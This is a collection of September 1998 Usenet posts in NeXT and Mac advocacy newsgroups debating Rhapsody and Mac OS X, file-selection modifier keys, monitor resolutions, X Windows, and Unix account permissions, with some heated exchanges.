> Are you sure about that, Greg? That'd be different from normal Mac
> practice. In my experience, on the Mac, the standard key for
> discontinuous selection in a list is usually the Command key.
I am performing the actions in File Viewer as I type this. If I click
near the top of a column, hold down Shift, then click somewhere else,
I get a continuous range from click A to click B (just like Windows).
If I hold down the Apple (squiggle/command) key, I get a discontinuous
selection. If I hold down Control or Option/Alt, it just switches from
one to the other, as if NO state key was held down. So yeah, I must
have been confused when I typed my earlier message.
While we're at it, the following modifiers work on file dragging:
Command - force 'move' operation
Option/Alt - force 'copy' operation
Control - create a symlink
Shift - no action defined
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 22 Sep 1998 05:25:07 GMT
Organization: MiscKit Development
Message-ID: <6u7cbj$f8t$1@news.xmission.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
NNTP-Posting-Date: 22 Sep 1998 05:25:07 GMT
Henry McGilton <henry@trilithon.com> wrote:
> [...] somebody [...] made the excellent point that most
> if not all of the system files and folders of the Rhapsody system
> are writable only by root or one of the other special accounts, so
> the average inquisitive Mac newbie can't get there unless they are
> logged in as root.[...].
This is very true--you have to log yourself in with administrator priveledges
in order to mess anything up.
When you install Rhapsody, you are asked to provide an administrator (root)
password and the name and password that you wish to have for your user
account. It should be pretty obvious to even the most obtuse that if you log
in as the administrator, you can mess things up. That's why they have you
create a user account during the install...
When I first got my color NeXT slab in early 1991, I set up accounts for all
my siblings, including my youngest brother who at the time was a few months
past four years old. I showed them how to log in, told them it worked pretty
much like a Mac, and then told them all to have fun. They did. Even the
four year old was able to find the paint program. (For him, bliss!)
None of them were able to mess up a single thing, because they only had
permission to change files in their own home directories (folders). They
couldn't harm each other's files, my files, or the system files. They had a
"sandbox" to play in, with a well defined and strongly enforced boundary.
They were also more willing to experiment because I told them up front that
"you can't mess anything up, so don't be afraid to try things to see what
happens". Removing that inhibition ("be careful so you don't mess things
up") is one of the greatest ways I've seen to get people to explore, and
subsequently learn how to use, a computer system. It was very interesting to
watch.
Folks, I'm quite convinced that Mac OS X Server will be great. Certainly not
perfect, of course, but it will have a _lot_ to recommend it.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UIs Re: 48-bit pixels in MacOS 8.5?
Date: 22 Sep 1998 05:47:26 GMT
Organization: UCO & Associates, LLP
Message-ID: <6u7dle$kak$1@wbnws01.ne.highway1.com>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <3604F00A.2CC4@earthlink.net> <forrestDELETE-THIS!-2009981418080001@term1-25.vta.west.net>
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> > John Kheit wrote:
> > > That's bunk. As long as you can view 1024X768 on your 15" screen
> (which most
> > > 15" monitors can do), the NeXT UI works fine.
>
> Yes, but then everything is tiny. I want my monitor to be around 72
> points-per-inch, so that things look realistically sized; I want a
> document representing an 8x11" piece of paper (in portrait) to appear
> eight inches wide on my monitor (and since I have a 15" monitor, I'd have
> to scroll to see it all vertically). When I was mentioning monitor sized I
> assumed that people would have their monitors at a reasonable resolution
> for it's size; I can understand 640x480 to 832x624 on a 15" monitor, and
> 832x624 to 1024x768 on a 17" monitor. Hence, when I say '15" monitor' I am
> reffering to a resolution reasonable to that size, and when I say '17"
> monitor' I mean likewise. So the NeXT UI does not work well on a 15"
> monitor in a reasonable resolution. It works *great* on >17" monitors at
> reasonable resolutions. But not everybody has those, most still have
> smaller monitors, 15" and the like. What about laptops? Most laptops have
> monitors less than 14", and the NeXT UI would choke those to death (at a
> reasonable resolution).
72 dpi blows big puke chunks. If things look too tiny for you then change
the zoom percentage on your document. On my 21" monitor, I have documents
automatically zoomed to 145% which on a 1600X1200 document results in 100dpi.
Which is better, but still lame. As for things being too small, that's a
bunk argument too. 48X48 shrunk down to say 100dpi will end up being around
the same size, but with greater resolution and clarity.
I used 1024X768 on a 12", 13.3" and 14.1" laptop. The 12 & 13.3 were tecras
and look fabulous.
As long as your display is clear enough, which means .28 dot pitch or better,
the next ui works great at 1024x768 on up, period. Which represents the
majority of displays.
The point is nonetheless moot as you will get your purple barny macUI
regardless.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: 48-bit pixels in MacOS 8.5?
Date: 22 Sep 1998 05:49:37 GMT
Organization: UCO & Associates, LLP
Message-ID: <6u7dph$kak$2@wbnws01.ne.highway1.com>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <6u3qjm$duv@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
> On 20 Sep 1998 13:02:01 GMT, John Kheit <jkheit@mediaone.net> wrote:
> >That's bunk. As long as you can view 1024X768 on your 15" screen (which
most
> >15" monitors can do), the NeXT UI works fine.
>
> John, with the exception of some of the Sony Trinitron monitors I've
> used; _none_ of the 15" monitors I've seen are legible and comfortable
> at 1024*768. YMMV, and I'm sure it does. What is the DP of your 15"
> display?
I thankfully don't have a 15" monitor around anymore. I just upgraded my
monitor at work to 17" at 1600X1200. However, I believe it was .28dot pitch
which is quite standard.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: hoser@loserville.net (hosebag)
Newsgroups: comp.sys.next.advocacy
Subject: Re: simple question
Date: Tue, 22 Sep 1998 01:00:10 -0500
Organization: Airnews.net! at Internet America
Message-ID: <0F228F31997338EE.AC3007CCD6291C48.80F44CC23BEF9D1C@library-proxy.airnews.net>
References: <6u63v4$k7h$2@cronkite.cs.umd.edu> <6u68nu$8hm@shelob.afs.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Tue Sep 22 01:00:14 1998
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In article <6u68nu$8hm@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> Sean Luke writes
> > Gregory H. Anderson (Greg_Anderson@afs.com) wrote:
> > : the state key has changed from "Shift" to "Option" (Alt). Shift
> > : now selects a contiguous range from the last selected item down to the
> > : currently selected item.
> >
> > Are you sure about that, Greg? That'd be different from normal Mac
> > practice. In my experience, on the Mac, the standard key for
> > discontinuous selection in a list is usually the Command key.
>
> I am performing the actions in File Viewer as I type this. If I click
> near the top of a column, hold down Shift, then click somewhere else,
> I get a continuous range from click A to click B (just like Windows).
> If I hold down the Apple (squiggle/command) key, I get a discontinuous
> selection. If I hold down Control or Option/Alt, it just switches from
> one to the other, as if NO state key was held down. So yeah, I must
> have been confused when I typed my earlier message.
>
You were also right the first time- while you are in the finder, shift
selects discontiguous items, just the opposite of almost every other
application on the mac.
> Gregory H. Anderson | "We're in the land of the blind,
> Visionary Ophthalmologist | selling working eyeballs, and they
> Anderson Financial Systems | balk at the choice of color." -- Tony
> greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
Message-ID: <3607470D.F7C8C930@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: UIs Re: 48-bit pixels in MacOS 8.5?
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <3604F00A.2CC4@earthlink.net> <forrestDELETE-THIS!-2009981418080001@term1-25.vta.west.net> <6u7dle$kak$1@wbnws01.ne.highway1.com>
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NNTP-Posting-Date: Tue, 22 Sep 1998 02:44:48 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 22 Sep 1998 01:43:25 -0500
John Kheit wrote:
[cut]
> The point is nonetheless moot as you will get your purple barny macUI
> regardless.
Ten years after the original NeXT UI was released, almost every GUI
looks exactly the same. The only differences are in decorations, the
domain of "themes". Whatever functionality NeXTstep had (but which will
be dropped in Rhapsody) will likely be achievable through add-ons.
But "purple barny macUI" is funny.
MJP
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <8cdc.326e.46@my_system>
Control: cancel <8cdc.326e.46@my_system>
Date: 22 Sep 1998 07:32:53 GMT
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Sender: MarkW <ntec@mustbuy.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: libra@REMOVE_THIS.shaw.wave.ca (adam baker)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net>
Organization: not much
Date: Tue, 22 Sep 1998 03:52:37 GMT
NNTP-Posting-Date: Mon, 21 Sep 1998 20:52:37 PDT
Hey who cares if NT 5 is on time?
--adam
--
"The hardest thing in the world to understand is the income tax."
--Albert Einstein
Message-ID: <36072146.95A4CFE@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com>
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NNTP-Posting-Date: Tue, 22 Sep 1998 00:03:39 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 21 Sep 1998 23:02:14 -0500
Henry McGilton wrote:
> Come on now, let's get real. The original poster was worried
> about trying to push UNIX into the consumer marketplace. I agree
> with that as a concern. Now you want to have something even
> worse than generic *NIX, namely, X-Windows --- the computer
> user's equivalent of LSD.
Henry, I know you don't put much store by remotability, but I run apps
from six different machines simultaneously on my SPARCstation, never
having to leave my desk. Sometimes it almost feels like having a cluster
underneath me. One of the nicest things about it is that when I get
software for one particular architecture, I don't bother to recompile; I
just run it on the appropriate machine and pipe it to my desktop. It's
like having 1:1-speed emulation for 4 different OSes.
What's more, the speed is fantastic. Everyone tells me our 10BaseT
network is congested but I can't tell from the performance of X Windows
remoting. Yes, it's fat, but it doesn't affect me one way or the other.
Whatever your concerns with X (and I know you have many) I want to
stress that X Windows is currently the only mainstream GUI system that
allows this so fluidly (I exclude NeXTstep because NXHosting is going
away). I certainly don't have high regard for the technology underlying
WinFrame. Networkability was one of the main design goals of X Windows
and it is currently leading the pack. This shouldn't be minimized.
[cut]
MJP
Message-ID: <36072843.5A2347B9@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com>
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NNTP-Posting-Date: Tue, 22 Sep 1998 00:33:28 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 21 Sep 1998 23:32:03 -0500
Sal Denaro wrote:
> Then you agree that the people who switched did think that a PC can
> replace a Mac? If not, why did they switch?
Yes, obviously.
> Now the question is "what is more reliable, anecdotal evidence from a
> few users whose objectivity is clearly questionable, or facts gathered
> from independent new sources like CNET and TechWeb?"
You've completely lost me.
By the way, somewhere in here are supposed to be several paragraphs
which you appear to have cut. I think I asked you a question regarding
your argument. What happened to them? I don't see any '[cut]' marks.
[cut - MS being unethical]
You're stretching a long way to transform random unethical business
practices into "undermining your rights". Very strange logic involved,
there.
> By expecting MS to play by the same rules as everyone else? By expecting
> them not to lie?
I didn't know that lying was illegal. Nor was I aware that any companies
were under investigation for lying. As far as I know, the "rules" don't
have much to do with lying.
> By expecting them to allow their partners to make their
> own decisions on what products they sell?
Which company doesn't have the right to make its own choices regarding
which products it sells?
> Unless you believe that "might makes right" and if you have enough money
> you should not be expected behave ethically.
You can expect companies to behave ethically all you like, and you can
choose to ignore or boycott companies that do not meet your expectation.
That is your right as a sovereign individual. You can even start a Web
site criticizing those companies and distribute literature demonstrating
their unethical behavior. That embodies your rights to free press, free
speech, and free assembly (and in some cases, free religion).
When you begin to talk about federal action or legislation -- as you put
it, changing the rules for one company -- that's where your rhetoric
going to run into problems with me. I won't bother to respond to the
former type of drivel, but the latter puts you on par with some of the
most sinister demagogues known to American society.
I don't know how you take that, but it wouldn't sit well with me. You
claim to have been a Libertarian but I wonder why it's necessary to
cover so much fundamental ground with you. I've spoken to many converts
from Libertarianism, and you don't sound like any of them. On the
contrary, you sound like someone who hasn't thought things through very
carefully at all.
MJP
From: blenko-tom@cs.yale.edu (Tom Blenko)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 22 Sep 1998 06:59:37 -0400
Organization: Yale University Computer Science Dept., New Haven, CT 06520-2158
Distribution: world
Message-ID: <6u7vupINNcss@RA.DEPT.CS.YALE.EDU>
References: <6trlr5$a8h@walters.East.Sun.COM> <6shnvp$cmh$1@nnrp1.dejanews.com> <6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
igb@patton-tm.East.Sun.COM (Iain Bason) wrote:
| ...
| Unfortunately, I can't recall examples of the various kinds (or rather
| I can't recall what features various MP systems had). If you're really
| interested, you can look up systems such as Thinking Machines CM5, BBN
| Butterfly, Kendall Square Research KSR1, DEC Firefly, NYU
| Ultracomputer, MIT Alewife, and on and on.
And I would certainly include Encore and Sequent designs, which as
closely-coupled multiprocessors are/were closer to the SMP designs, as
well as commercially-successful offerings (unlike several of the
above).
Tom
From: hallows@bellsouth.net (Joshua Moore)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Message-ID: <hallows-2209980718290001@host-209-214-128-162.jax.bellsouth.net>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com>
Date: Tue, 22 Sep 1998 11:18:30 GMT
NNTP-Posting-Date: Tue, 22 Sep 1998 07:18:30 EDT
In article <6u5bd6$hej$1@nnrp1.dejanews.com>, hughesojh@my-dejanews.com wrote:
> Oh yeah, since it's Unix based, does that mean It's not going to allow you to
> include "/"'s in file names?
MacOS X will use HFS+ as it's file system, so there shouldn't be any
problem using "/" in file names. The only character that can't be used
with HFS+ is ":".
From: "Stephen Totten" <stephent@comm.mot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 10:20:46 +0100
Organization: Motorola Inc.
Message-ID: <6u7q79$f1j$1@schbbs.mot.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
Henry McGilton wrote in message <3606F3F8.D2B36795@trilithon.com>...
>
>And somebody else [Sal maybe?] made the excellent point that most
>if not all of the system files and folders of the Rhapsody system
>are writable only by root or one of the other special accounts, so
>the average inquisitive Mac newbie can't get there unless they are
>logged in as root. Is this not also the case on the more
>'traditional' *NIXen (HP-UX, solaris etc) with which you say you
>are familiar? On Mac, of course, everything is wide open, so that
>the inquisitive Mac newbie can pillage to their heart's desire.
>
In my original post I was referring to MacOS X, not MacOS X Server. I don't
know how Apple are going to manager user accounts with this, but it was my
impresion that it was going to be primarily a single user OS. If this is the
case then everyone would be logged in as root. I don't have any facts about
this either :-), so if you know that OS X (not server) is going to be
multi-user, than your point is very valid...
- Steve
From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 12:19:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u84l0$i1c$1@nnrp1.dejanews.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com>
I have a couple of X-Apps I would like to able to run.
Namely Lyx(WP front end for TeX), a couple of spreadsheets and some
programming languages.
I would also quite like to run the X version of EMACS.
X isn't without it's problems.
I assume by LSD you mean the inconsistencies that apps made using different
libraries suffer from.
Most of these can be ovecome with a decent WM and set of applications.
An SGI running 4DWM has what is, in my opinion anyway, a UI that is at least
as good as the finder is today.
I run KDE and KDoffice on my linux machine.
The system boots into the GUI, the apps all look the same, and it never
crashes.
That's good enough for me.
As for those files with "/"s in the name.
Those are all MAC OS stuff.
If you don't get it with NeXtstep, you probably don't get it with Rhapsody.
After all, DR2 still uses folder called /nextapps etc.
OJH
In article <36066CCC.1C2FC4DC@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
> hughesojh@my-dejanews.com wrote:
>
> * How come it won't come with support for X-Apps?
> * I know that the GUI is based on the NeXT/Openstep model,
> * but you could get apps for running X seamlessly in windows
> * under those.
> * Why don't apple include a X-Server?
> Come on now, let's get real. The original poster was worried
> about trying to push UNIX into the consumer marketplace. I agree
> with that as a concern. Now you want to have something even
> worse than generic *NIX, namely, X-Windows --- the computer
> user's equivalent of LSD.
>
> * An OS that can run apps for 3/4 different OS's seamlessly
> * would really be useful.
> What "apps" are we talking about here? XTerm? Wow, I bet the Mac
> user community will buy a lot of those. How about an eight
> megabyte desktop clock?
>
> We're almost at the year 2000 and people still want X-Windows?
> X-Windows was an experiment that should never have escaped from
> the lab. Admittedly, there's nothing wrong with running
> experiments. But when you've run the experiment, collected the
> data, and all the data point to the inescapable conclusion that
> the underlying assumption was a crock, then the experiment
> should be abandoned and you move onto something new, and, one
> hopes, better next time.
>
> Cheers,
> ........ Henry
>
> ============================================================
> Henry McGilton | Trilithon Software
> Boulevardier, Java Composer | Seroia Research
> -------------------------------+----------------------------
> mailto:henry@trilithon.com | http://web.trilithon.com
> ============================================================
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UIs Re: 48-bit pixels in MacOS 8.5?
Date: 22 Sep 1998 12:34:30 GMT
Organization: UCO & Associates, LLP
Message-ID: <6u85gm$kb1$1@wbnws01.ne.highway1.com>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net> <6u2uc9$f7l$1@wbnws01.ne.highway1.com> <3604F00A.2CC4@earthlink.net> <forrestDELETE-THIS!-2009981418080001@term1-25.vta.west.net> <6u7dle$kak$1@wbnws01.ne.highway1.com> <3607470D.F7C8C930@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > The point is nonetheless moot as you will get your purple barny macUI
> > regardless.
>
> Ten years after the original NeXT UI was released, almost every GUI
> looks exactly the same. The only differences are in decorations, the
> domain of "themes". Whatever functionality NeXTstep had (but which will
> be dropped in Rhapsody) will likely be achievable through add-ons.
We differ on the differ on the extent of the differences afforded by the NeXT
UI.
> But "purple barny macUI" is funny.
Not if you have to use it. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: OWSCR@hotmail.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 22 Sep 1998 12:31:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u85bi$ijm$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <6ssrdr$q3u$1@ash.prod.itd.earthlink.net> <6u5cmr$jcs$1@nnrp1.dejanews.com> <6u62qo$m6q$1@plo.sierra.com>
*ahem*
"oh no it doesn't..."
It really doesn't.
v.4.950a
>
> Sure it does.
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Larry Blische <larry@lkba.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 08:46:14 +0000
Organization: LKB Associates, Inc.
Message-ID: <360755C6.23090E48@lkba.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com> <6u7cbj$f8t$1@news.xmission.com>
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Don Yacktman wrote:
> Henry McGilton <henry@trilithon.com> wrote:
> > [...] somebody [...] made the excellent point that most
> > if not all of the system files and folders of the Rhapsody system
> > are writable only by root or one of the other special accounts, so
> > the average inquisitive Mac newbie can't get there unless they are
> > logged in as root.[...].
>
> [...]
>
> When I first got my color NeXT slab in early 1991, I set up accounts for all
> my siblings, including my youngest brother who at the time was a few months
> past four years old. I showed them how to log in, told them it worked pretty
> much like a Mac, and then told them all to have fun. They did. Even the
> four year old was able to find the paint program. (For him, bliss!)
>
This reminded me of my own experience. I also picked up a color NeXT slab in
1991. At the time my three sons were 5, 7, and 11. I created accounts for each
and showed them the demo apps. We had an Apple II GS some time before that so
they already knew the basics of mice, etc.
They were enthralled... they easily figured out how the change desktop
preferences and what the demo apps did. Draw (the demo paint program, with which
I've made presentation quaility slides for my consulting work) was one of the
favorites.
> None of them were able to mess up a single thing, because they only had
> permission to change files in their own home directories (folders). They
> couldn't harm each other's files, my files, or the system files. They had a
> "sandbox" to play in, with a well defined and strongly enforced boundary.
>
Exactly my story too. I used the machine at home professionally and could not
afford to have lost files, damaged hardware, etc.
My oldest son, Justin, figured out how to drag files into NextMail to send images
to his brothers. Eventually Justin bought WetPaint from Lighthouse on an edu
discount since he was a student in an art high school. (Last year Justin
graduated high school and was named as the Presidential Scholar for Photography -
I can't claim it was due to the NeXT of course but I know it helped.) ...
sorry to get a little off subject here - the point is this was a UNIX system they
were using - they didn't have to use a command line, change config files (well
actually they did but they never knew because the programs they used, like
Preferences, provided them a GUI to make the changes with) and they never did see
/usr, /lib, /etc, etc.
> They were also more willing to experiment because I told them up front that
> "you can't mess anything up, so don't be afraid to try things to see what
> happens". Removing that inhibition ("be careful so you don't mess things
> up") is one of the greatest ways I've seen to get people to explore, and
> subsequently learn how to use, a computer system. It was very interesting to
> watch.
>
> Folks, I'm quite convinced that Mac OS X Server will be great. Certainly not
> perfect, of course, but it will have a _lot_ to recommend it.
>
I sure hope so... this old slab needs a new shine.
--
Larry Blische * Consultant/Programmer
Desktop Apps : Client/Server : Embedded Systems : Device Drivers : Etc.
6195 Eagles Nest Drive * Jupiter, FL 33458 USA * 561.747.7844
mailto:larry@lkba.com * resume at http://www.charm.net/~lkb
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net> <wi5N1.356$sB1.341400@newsfeed.slurp.net> <joe.ragosta-2009980706400001@elk88.dol.net> <1liN1.862$sB1.900909@newsfeed.slurp.net> <joe.ragosta-2109980759520001@wil52.dol.net>
Subject: Re: What we need from Mac OSuX
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Date: Tue, 22 Sep 1998 05:21:33 -0700
NNTP-Posting-Date: Tue, 22 Sep 1998 07:47:42 CDT
Joe Ragosta wrote in message ...
>Just admit it and move on.
Admit what?
Now I remember what dick you are...
Don't play word games with me Joe. You start arguing about "Macintosh
Platform" vs. "Macintosh Compatibles" and the whole argument is screwed up.
You know what I meant... don't play childish games.
Dan
From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 12:41:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u85u4$j45$1@nnrp1.dejanews.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <6u4b54$ikv@news1.panix.com> <id_est-2109981257430001@192.168.1.3>
I would anticipate that Server is going to keep more of the Unixey stuff in
while X standard is going to be much simpler and user orientated.
I reckon that there is going to be some sort of workaround as far as the "/"
thing goes.
KDE makes use of a hidden .directory file to do this sort of stuff, and I
can't see Apple getting rid of the resource fork and other hidden files,
after all, OS X is meant to be compatible with old software and files.
There WILL be a setting on the control panel to hide the /usr* directories.
try KDE out. Have a look at how it handles configuration and so on.
It uses a graphical fron end and writes most of the nasty stuff for you.
I really don't think you'll have to mess with as much stuff as you do in Linux
whatever.
OJH
In article <id_est-2109981257430001@192.168.1.3>,
id_est@interport.net (tse_di) wrote:
> In article <6u4b54$ikv@news1.panix.com>, sal@panix.com wrote:
>
> > On Sun, 20 Sep 1998 18:46:59 +0100,
> > Stephen Totten <stephent@comm.mot.com> wrote:
> > >I'm kindof worried that Apple are choosing to base their new 'consumer' OS
> > >on top of what is basically UNIX, which definitely not a consumer OS (e.g.
> > >who would think of looking in /etc to find the password file, and setting
up
> > >printers is a job and a half).
>
> I too am a little worried about adding in Unix directory structures to a
> 'consumer' OS.
>
> > If Rhapsody DR2 is any indication of what you can expect of MacOSX, I don't
> > think you'll have to hack text files by hand to use the system.
>
> > Accounts are managed via a GUI App. So are printers. So is just about
> > everything else. If you _want_ to use the CLI, you can. If you don't want
to,
> > you won't have to. OSX logo requirements will probably mandate the use of a
> > GUI installer and uninstaller, as well as an unofficial (or perhaps
official)
> > frowning on the mandatory use of a CLI in YB or Carbon Apps.
>
> This is, of course, mandatory that you will not have to to edit text files
> to configure the system.
>
> > >To me windows seems slightly hairy because of the sheer amount of stuff
that
> > >is hidden (DLL's, etc). Apple seem to be doing the same with their 'Unix
> > >expert' option.
> >
> > There are tons of stuff that is hidden in MacOS as well. How much do you
> > have to know about code fragments to use MacOS? If something is hidden well,
> > then it isn't a problem.
>
> Hidden well is the issue. Things in the MacOS are very well hidden. There
> is also a lot of freedom to move and rename things to suit your tastes
> without breaking much. Special folders (System, Extensions, Control panels
> etc) take on special icons when they are are active and lose them when
> they are not. Files tend to have sensible names like 'Such-and-such app
> preferences'. It is a much simpler system than /etc, /usr/etc, /bin
> /usr/local/etc and more. The only character that is forbidden is ':' and
> it simply wont let you type it in a file name and if you download a file
> that has a colon in it it converts to a ;. I know lost of people that have
> files called things like "letter 9/12/97" or things like that. I don't
> know how that transition works. What I would like to see is a setting
> equivalent to a the 8.1 Finder settings of simple and normal. Add a
> "technical" to this. If you are in Normal then you see a system folder
> that mimics the current one only is maybe simpler to work with. (I am not
> a fan of apple using names like OpenTptInet lib) I would like to see the
> whole Unix file hierarchy hidden in this psuedo-system folder as well as
> having all related files that are not modular being 'wrapped' together to
> appear as one icon. In "technical" you would see the whole Unix hierarchy.
>
> The other thing is the better not add in the requirement of hard paths.
> One of the great strengths of the MacOS is that you can move apps all over
> over the place, including different drives and network volumes and they
> all work fine.
>
> > IMHO, Rhapsody puts less demands on the user than MacOS8.
>
> I disagree. Try installing an update of OmniWeb or Updating the blueBox
